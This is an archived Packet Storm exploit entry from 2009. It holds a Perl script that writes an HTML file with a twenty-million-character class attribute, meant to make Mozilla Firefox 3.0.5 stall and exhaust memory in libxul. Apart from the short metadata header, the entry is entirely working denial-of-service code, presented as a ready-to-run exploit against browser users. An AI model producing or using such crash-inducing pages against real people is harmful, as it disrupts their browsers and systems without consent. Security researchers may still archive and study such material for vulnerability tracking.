Mozilla Firefox 3.0.5 Libxul Remote Memory Leak Exploit

2009-01-01T00:00:00
ID PACKETSTORM:73512
Type packetstorm
Reporter Jeremy Brown
Modified 2009-01-01T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
# mzff_libxul_ml.pl  
# Mozilla Firefox 3.0.5 (Libxul) Remote Memory Leak Exploit  
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]  
# Debugging shows a near halt @ /usr/lib/xulrunner-x.x.x.x/libxul.so  
# All Gecko+Mozilla Browsers should be vulnerable  
  
$filename = $ARGV[0];  
if(!defined($filename))  
{  
  
print "Usage: $0 <filename.html>\n";  
  
}  
  
$head = "<html>" . "\n";  
$trig = "<hr class = \"" . "A" x 20000000 . "\">" . "\n";  
$foot = "</html>";  
  
$data = $head . $trig . $foot;  
  
open(FILE, '>' . $filename);  
print FILE $data;  
close(FILE);  
  
exit;`